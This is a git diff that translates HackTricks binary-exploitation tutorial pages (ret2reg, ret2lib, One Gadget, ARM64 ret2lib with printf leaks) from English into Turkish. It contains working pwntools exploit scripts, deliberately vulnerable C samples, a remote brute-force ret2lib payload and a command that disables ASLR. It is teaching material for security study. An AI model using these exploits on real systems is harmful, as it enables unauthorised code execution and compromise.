`$esp`** and then a `jmp esp;` to jump to the shellcode: - +Bu tekniğin bir başka örneğini [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html) adresinde görebilirsiniz. NX etkinleştirilmeden bir buffer overflow var, `$esp` adresini **küçültmek için** bir gadget kullanılıyor ve ardından shellcode'a atlamak için `jmp esp;` kullanılıyor: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -81,47 +76,41 @@ target.sendline(payload) # Drop to an interactive shell target.interactive() ``` - ## Ret2reg -Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**). +Benzer şekilde, bir fonksiyonun shellcode'un saklandığı adresi döndüğünü biliyorsak, **`call eax`** veya **`jmp eax`** talimatlarını (bilinen **ret2eax** tekniği) kullanarak shellcode'umuzu çalıştırmanın başka bir yolunu sunabiliriz. Eax gibi, **ilginç bir adres** içeren **herhangi bir başka kayıt** da kullanılabilir (**ret2reg**). -### Example +### Örnek -You can find some examples here: +Burada bazı örnekler bulabilirsiniz: - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) - - **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`. +- **`strcpy`** shellcode'un saklandığı buffer'ın adresini **`eax`**'de saklayacak ve **`eax`** üzerine yazılmadığı için `ret2eax` kullanmak mümkün. ## ARM64 ### Ret2sp -In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that: - +ARM64'te **SP kaydına atlama** sağlayan talimatlar **yoktur**. **SP'yi bir kayda taşıyan ve sonra o kayda atlayan** bir gadget bulmak mümkün olabilir, ancak benim kali'mdeki libc'de böyle bir gadget bulamadım: ```bash for i in `seq 1 30`; do - ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; +ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; done ``` - -The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless): +Keşfettiğim tek şey, sp'nin atlamadan önce kopyalandığı kayıt değerini değiştirecek olanlardı (bu yüzden işe yaramaz hale gelecekti):
### Ret2reg -If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like: - +Eğer bir kaydın ilginç bir adresi varsa, uygun talimatı bulup ona atlamak mümkündür. Şöyle bir şey kullanabilirsiniz: ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` +ARM64'te, bir fonksiyonun dönüş değerini saklayan **`x0`**'dır, bu nedenle x0'ın, kullanıcı tarafından kontrol edilen ve çalıştırılacak bir shellcode içeren bir tamponun adresini saklaması mümkündür. -In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute. - -Example code: - +Örnek kod: ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack @@ -129,34 +118,32 @@ Example code: #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("br x0"); - return; +if (do_arg == 1) +__asm__("br x0"); +return; } char* vulnerable_function() { - char buffer[64]; - fgets(buffer, sizeof(buffer)*3, stdin); - return buffer; +char buffer[64]; +fgets(buffer, sizeof(buffer)*3, stdin); +return buffer; } int main(int argc, char **argv) { - char* b = vulnerable_function(); - do_stuff(2) - return 0; +char* b = vulnerable_function(); +do_stuff(2) +return 0; } ``` - -Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow: +Fonksiyonun ayrıştırmasını kontrol ettiğimizde, **tamponun adresinin** (bof'a karşı hassas ve **kullanıcı tarafından kontrol edilen**) **`x0`'da saklandığını** görebiliriz, tampon taşmasından dönerken:
-It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function: +Ayrıca **`do_stuff`** fonksiyonunda **`br x0`** gadget'ını bulmak da mümkündür:
-We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be: - +Bu gadget'ı kullanarak ona atlayacağız çünkü ikili dosya **PIE OLMADAN** derlenmiştir. Bir desen kullanarak, **tampon taşmasının ofsetinin 80 olduğunu** görebiliriz, bu nedenle istismar şöyle olacaktır: ```python from pwn import * @@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0 p.sendline(payload) p.interactive() ``` - > [!WARNING] -> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\ -> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**. +> Eğer `fgets` yerine **`read`** gibi bir şey kullanılsaydı, **sadece dönüş adresinin son 2 baytını** değiştirerek `br x0;` talimatına geri dönmek mümkün olabilirdi, tam adresi bilmeye gerek kalmadan.\ +> `fgets` ile bu işe yaramaz çünkü **sonuna bir null (0x00) baytı ekler**. -## Protections +## Koruma Önlemleri -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register. +- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Yığın çalıştırılabilir değilse, bu işe yaramaz çünkü shellcode'u yığında yerleştirip çalıştırmak için atlamamız gerekiyor. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Bunlar esp veya başka bir kayda atlamak için bir talimat bulmayı zorlaştırabilir. -## References +## Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index c213407d3..1dc59f979 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -2,103 +2,90 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **Temel Bilgiler** -The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention. +**Ret2Libc**'nin özü, bir saldırganın sağladığı shellcode'u yığın üzerinde çalıştırmak yerine, bir zayıf programın yürütme akışını paylaşılan bir kütüphanedeki (örneğin, **system**, **execve**, **strcpy**) bir işleve yönlendirmektir. Saldırgan, yığın üzerindeki dönüş adresini istenen kütüphane işlevine işaret edecek şekilde değiştiren bir yük oluşturur ve çağrı konvansiyonuna göre gerekli argümanların doğru bir şekilde ayarlandığından emin olur. -### **Example Steps (simplified)** +### **Örnek Adımlar (basitleştirilmiş)** -- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh) -- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function +- Çağrılacak işlevin adresini al (örneğin, system) ve çağrılacak komutu al (örneğin, /bin/sh) +- İlk argümanı komut dizesine işaret eden ve yürütme akışını işleve iletmek için bir ROP zinciri oluştur -## Finding the addresses - -- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with: +## Adresleri Bulma +- Kullanılan `libc`'nin mevcut makineden olduğunu varsayarsak, bellekte nerede yükleneceğini bulmak için: ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` - -If you want to check if the ASLR is changing the address of libc you can do: - +Eğer ASLR'nin libc'nin adresini değiştirip değiştirmediğini kontrol etmek istiyorsanız şunu yapabilirsiniz: ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` - -- Knowing the libc used it's also possible to find the offset to the `system` function with: - +- Kullanılan libc'yi bilmek, `system` fonksiyonuna olan ofseti bulmayı da mümkün kılar: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` - -- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with: - +- Kullanılan libc'yi bilmek, `/bin/sh` fonksiyonuna olan ofseti bulmayı da mümkün kılar: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` +### gdb-peda / GEF Kullanımı -### Using gdb-peda / GEF - -Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** : - +Kullanılan libc'yi bilmek, **system** fonksiyonunun, **exit** fonksiyonunun ve **`/bin/sh`** dizesinin adresini almak için Peda veya GEF kullanmayı da mümkün kılar: ```bash p system p exit find "/bin/sh" ``` +### /proc/\/maps Kullanımı -### Using /proc/\/maps +Eğer süreç her konuştuğunuzda **çocuklar** oluşturuyorsa (ağ sunucusu) o dosyayı **okumayı** deneyin (muhtemelen root olmanız gerekecek). -If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). - -Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. +Burada **libc'nin süreç içinde tam olarak nerede yüklü olduğunu** ve **her çocuğun süreç için nerede yükleneceğini** bulabilirsiniz. ![](<../../../images/image (853).png>) -In this case it is loaded in **0xb75dc000** (This will be the base address of libc) +Bu durumda **0xb75dc000** adresinde yüklenmiştir (Bu libc'nin temel adresi olacaktır). -## Unknown libc +## Bilinmeyen libc -It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used: +Bilinmeyen bir libc'nin yükleniyor olabileceği durumlar olabilir (çünkü erişiminiz olmayan bir sunucuda bulunabilir). Bu durumda, **bazı adresleri sızdırmak ve hangi libc** kütüphanesinin kullanıldığını bulmak için açığı kötüye kullanabilirsiniz: {{#ref}} rop-leaking-libc-address/ {{#endref}} -And you can find a pwntools template for this in: +Ve bunun için bir pwntools şablonunu burada bulabilirsiniz: {{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}} -### Know libc with 2 offsets +### 2 ofset ile libc'yi bilmek -Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**. +[https://libc.blukat.me/](https://libc.blukat.me/) sayfasını kontrol edin ve libc içindeki **birkaç adres** kullanarak **kullanılan sürümü** öğrenin. -## Bypassing ASLR in 32 bits +## 32 bit'te ASLR'yi Aşmak -These brute-forcing attacks are **only useful for 32bit systems**. - -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +Bu kaba kuvvet saldırıları **yalnızca 32 bit sistemler için** faydalıdır. +- Eğer istismar yerel ise, libc'nin temel adresini kaba kuvvetle bulmayı deneyebilirsiniz (32 bit sistemler için faydalıdır): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- Uzak bir sunucuya saldırıyorsanız, **`usleep` `libc` fonksiyonunun adresini brute-force ile bulmayı** deneyebilirsiniz, argüman olarak 10 (örneğin) geçerek. Eğer bir noktada **sunucu yanıt vermek için 10s ekstra alıyorsa**, bu fonksiyonun adresini bulmuşsunuzdur. ## One Gadget -Execute a shell just jumping to **one** specific **address** in libc: +Sadece **bir** belirli **adrese** atlayarak bir shell çalıştırın: {{#ref}} one-gadget.md {{#endref}} -## x86 Ret2lib Code Example - -In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server: +## x86 Ret2lib Kod Örneği +Bu örnekte ASLR brute-force kodun içine entegre edilmiştir ve savunmasız ikili dosya uzak bir sunucuda bulunmaktadır: ```python from pwn import * @@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002) c.recvline() for off in range(0xb7000000, 0xb8000000, 0x1000): - p = "" - p += p32(off + 0x0003cb20) #system - p += "CCCC" #GARBAGE, could be address of exit() - p += p32(off + 0x001388da) #/bin/sh - payload = 'A'*0x20010 + p - c.send(payload) - c.interactive() +p = "" +p += p32(off + 0x0003cb20) #system +p += "CCCC" #GARBAGE, could be address of exit() +p += p32(off + 0x001388da) #/bin/sh +payload = 'A'*0x20010 + p +c.send(payload) +c.interactive() ``` +## x64 Ret2lib Kod Örneği -## x64 Ret2lib Code Example - -Check the example from: +Aşağıdaki örneği kontrol edin: {{#ref}} ../ {{#endref}} -## ARM64 Ret2lib Example +## ARM64 Ret2lib Örneği -In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated. +ARM64 durumunda, ret talimatı x30 kaydının işaret ettiği yere atlar, stack kaydının işaret ettiği yere değil. Bu yüzden biraz daha karmaşık. -Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones). +Ayrıca ARM64'te bir talimat, talimatın yaptığı şeyi yapar (talimatların ortasında atlamak ve onları yeni talimatlara dönüştürmek mümkün değildir). -Check the example from: +Aşağıdaki örneği kontrol edin: {{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}} -## Ret-into-printf (or puts) +## Ret-into-printf (veya puts) -This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**. +Bu, belirli verileri argüman olarak yerleştirerek `printf`/`puts` çağrısı yaparak **işlemden bilgi sızdırmayı** sağlar. Örneğin, `puts`'un GOT'daki adresini bir `puts` çağrısında yerleştirmek, **`puts`'un bellek adresini sızdırır**. ## Ret2printf -This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible): +Bu, temel olarak bir **Ret2lib'i `printf` format dizeleri zafiyeti haline dönüştürmek için kötüye kullanmak** anlamına gelir; `ret2lib` kullanarak printf'i istismar etmek için değerlerle çağırmak (gereksiz gibi görünebilir ama mümkündür): {{#ref}} ../../format-strings/ {{#endref}} -## Other Examples & references +## Diğer Örnekler ve referanslar - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - - Ret2lib, given a leak to the address of a function in libc, using one gadget +- Ret2lib, libc'deki bir fonksiyonun adresine sızdırma verildiğinde, bir gadget kullanarak - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bit, ASLR etkin ama PIE yok, ilk adım, puts'u çağırmak ve sızdırmak için kanaryanın 0x00 byte'ına kadar bir taşmayı doldurmaktır. Kanarya ile puts'un GOT'dan adresini sızdırmak için bir ROP gadget'ı oluşturulur ve `system('/bin/sh')` çağırmak için bir ROP gadget'ı. - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 bit, ASLR etkin, kanarya yok, ana fonksiyondan bir çocuk fonksiyonda stack overflow. Puts'un GOT'dan adresini sızdırmak için puts'u çağıran bir ROP gadget'ı ve ardından bir gadget çağırır. - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - - 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget. +- 64 bit, pie yok, kanarya yok, relro yok, nx. Yazma fonksiyonunu kullanarak yazma (libc) adresini sızdırır ve bir gadget çağırır. - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`. +- Stack'ten kanaryayı sızdırmak için bir format dizesi kullanır ve `/bin/sh` adresi ile sisteme çağırmak için bir buffer overflow kullanır (GOT'dadır). - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 bit, relro yok, kanarya yok, nx, pie. Stack'ten libc ve heap adreslerini sızdırmak için kötü bir indeksleme kullanır. `system('/bin/sh')` çağırarak bir ret2lib yapmak için buffer overflow'u kötüye kullanır (bir kontrolü atlatmak için heap adresi gereklidir). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index 5b24ece5f..b926128af 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -2,36 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +[**One Gadget**](https://github.com/david942j/one_gadget), **system** ve **"/bin/sh"** kullanmak yerine bir shell elde etmeyi sağlar. **One Gadget**, libc kütüphanesi içinde sadece bir **adres** kullanarak bir shell elde etmenin bir yolunu bulur (`execve("/bin/sh")`).\ +Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibi kısıtlamalardır. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir. ![](<../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - -To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded. +Belirtilen adrese One Gadget ile **`libc`'nin** yüklendiği temel adresi **eklemeniz** gerekiyor. > [!TIP] -> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements). +> One Gadget, **Rastgele Yazma 2 Çalıştırma teknikleri** için **büyük bir yardım** sağlar ve yalnızca bir adres çağırmanız gerektiğinden **ROP** **zincirlerini** **basitleştirebilir** (ve gereksinimleri yerine getirmeniz yeterlidir). ### ARM64 -The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**. +Github reposu, aracın **ARM64'ü desteklediğini** belirtmektedir, ancak Kali 2023.3'teki libc'de çalıştırıldığında **hiçbir gadget bulamamaktadır**. ## Angry Gadget -From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\ -If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try! - +[**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget)'dan: [OneGadget](https://github.com/david942j/one_gadget)'ten ilham alınarak yazılmış bu araç, `execve('/bin/sh', NULL, NULL)` komutunu çalıştıran gadget'lar için kısıtlamaları test etmek üzere [angr](https://github.com/angr/angr) kullanmaktadır.\ +OneGadget'tan deneyecek gadget'larınız tükendiğinde, Angry Gadget karmaşık kısıtlamalarla denemek için çok daha fazlasını sunar! ```bash pip install angry_gadget angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index a9cfca917..7bcc18001 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -2,65 +2,58 @@ {{#include ../../../banners/hacktricks-training.md}} -## Ret2lib - NX bypass with ROP (no ASLR) - +## Ret2lib - ROP ile NX atlatma (ASLR yok) ```c #include void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile without canary: - +Canary olmadan derleyin: ```bash clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector # Disable aslr echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### Ofset Bul -### Find offset +### x30 ofset -### x30 offset - -Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c). +**`pattern create 200`** ile bir desen oluşturarak, bunu kullanıp **`pattern search $x30`** ile ofseti kontrol ettiğimizde ofsetin **`108`** (0x6c) olduğunu görebiliriz.
-Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**: +Dissassemble edilmiş ana fonksiyona baktığımızda, **`printf`**'ye doğrudan atlamak istediğimizi görebiliriz, bu da binary'nin yüklendiği yerden ofseti **`0x860`**'dir:
-### Find system and `/bin/sh` string +### System ve `/bin/sh` dizesini bul -As the ASLR is disabled, the addresses are going to be always the same: +ASLR devre dışı olduğu için, adresler her zaman aynı olacak:
-### Find Gadgets +### Gadget'leri Bul -We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper an interesting gadget was found: +**`x0`**'da **`/bin/sh`** dizesinin adresine sahip olmamız ve **`system`**'i çağırmamız gerekiyor. +Rooper kullanarak ilginç bir gadget bulundu: ``` 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; ``` - -This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +Bu alet, **`$sp + 0x18`** adresinden `x0`'ı yükleyecek ve ardından `sp`'den x29 ve x30 adreslerini yükleyip x30'a atlayacak. Bu nedenle, bu alet ile **ilk argümanı kontrol edebilir ve ardından system'a atlayabiliriz**. ### Exploit - ```python from pwn import * from time import sleep @@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh system = libc.sym["system"] def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Ret2main stack_offset = 108 @@ -90,80 +83,72 @@ p.sendline(payload) p.interactive() p.close() ``` - -## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack - +## Ret2lib - NX, ASL & PIE atlatma, yığın üzerindeki printf leak'leri ile ```c #include void printfleak() { - char buf[100]; - printf("\nPrintf>\n"); - fgets(buf, sizeof(buf), stdin); - printf(buf); +char buf[100]; +printf("\nPrintf>\n"); +fgets(buf, sizeof(buf), stdin); +printf(buf); } void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile **without canary**: - +**canary** olmadan derleyin: ```bash clang -o rop rop.c -fno-stack-protector -Wno-format-security ``` - -### PIE and ASLR but no canary +### PIE ve ASLR ama canary yok - Round 1: - - Leak of PIE from stack - - Abuse bof to go back to main +- Stack'ten PIE sızıntısı +- Ana fonksiyona geri dönmek için bof kullanımı - Round 2: - - Leak of libc from the stack - - ROP: ret2system +- Stack'ten libc sızıntısı +- ROP: ret2system -### Printf leaks +### Printf sızıntıları -Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses: +Printf çağrısından önce bir breakpoint ayarlayarak, stack'te binary'e geri dönmek için adresler ve ayrıca libc adreslerinin olduğunu görebiliriz:
-Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address: +Farklı offset'ler deneyerek, **`%21$p`** bir binary adresi sızdırabilir (PIE bypass) ve **`%25$p`** bir libc adresi sızdırabilir:
-Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.** +Sızdırılan libc adresini libc'nin temel adresinden çıkardığımızda, **sızdırılan adresin temel adresle olan **offset**'inin `0x49c40` olduğunu görebiliriz.** ### x30 offset -See the previous example as the bof is the same. +Önceki örneği inceleyin, çünkü bof aynıdır. -### Find Gadgets +### Gadget'ları Bul -Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper another interesting gadget was found: +Önceki örnekte olduğu gibi, **`x0`**'da **`/bin/sh`** stringinin adresine sahip olmamız ve **`system`** çağrısı yapmamız gerekiyor. +Rooper kullanarak başka ilginç bir gadget bulundu: ``` 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; ``` - -This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +Bu alet, **`$sp + 0x78`** adresinden `x0`'ı yükleyecek ve ardından `sp`'den x29 ve x30 adreslerini yükleyip x30'a atlayacak. Bu nedenle, bu alet ile **ilk argümanı kontrol edebilir ve ardından system'a atlayabiliriz**. ### Exploit - ```python from pwn import * from time import sleep @@ -172,15 +157,15 @@ p = process('./rop') # For local binary libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") def leak_printf(payload, is_main_addr=False): - p.sendlineafter(b">\n" ,payload) - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - if is_main_addr: - response = response[:-4] + b"0000" - return int(response, 16) +p.sendlineafter(b">\n" ,payload) +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +if is_main_addr: +response = response[:-4] + b"0000" +return int(response, 16) def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Get main address main_address = leak_printf(b"%21$p", True) @@ -213,5 +198,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index fb453a1ba..0e10a4a0d 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -1,84 +1,77 @@ -# Leaking libc address with ROP +# ROP ile libc adresini sızdırma {{#include ../../../../banners/hacktricks-training.md}} -## Quick Resume +## Hızlı Özeti -1. **Find** overflow **offset** -2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) -4. With the library, **calculate the ROP and exploit it** +1. **Taşma** **ofsetini** **bul** +2. **POP_RDI** gadget'ını, `PUTS_PLT` ve `MAIN` gadget'larını **bul** +3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun **bellek adresini sızdır** ve **libc sürümünü bul** ([indirin](https://libc.blukat.me)) +4. Kütüphane ile, **ROP'u hesapla ve istismar et** -## Other tutorials and binaries to practice +## Pratik yapmak için diğer eğitimler ve ikili dosyalar -This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), 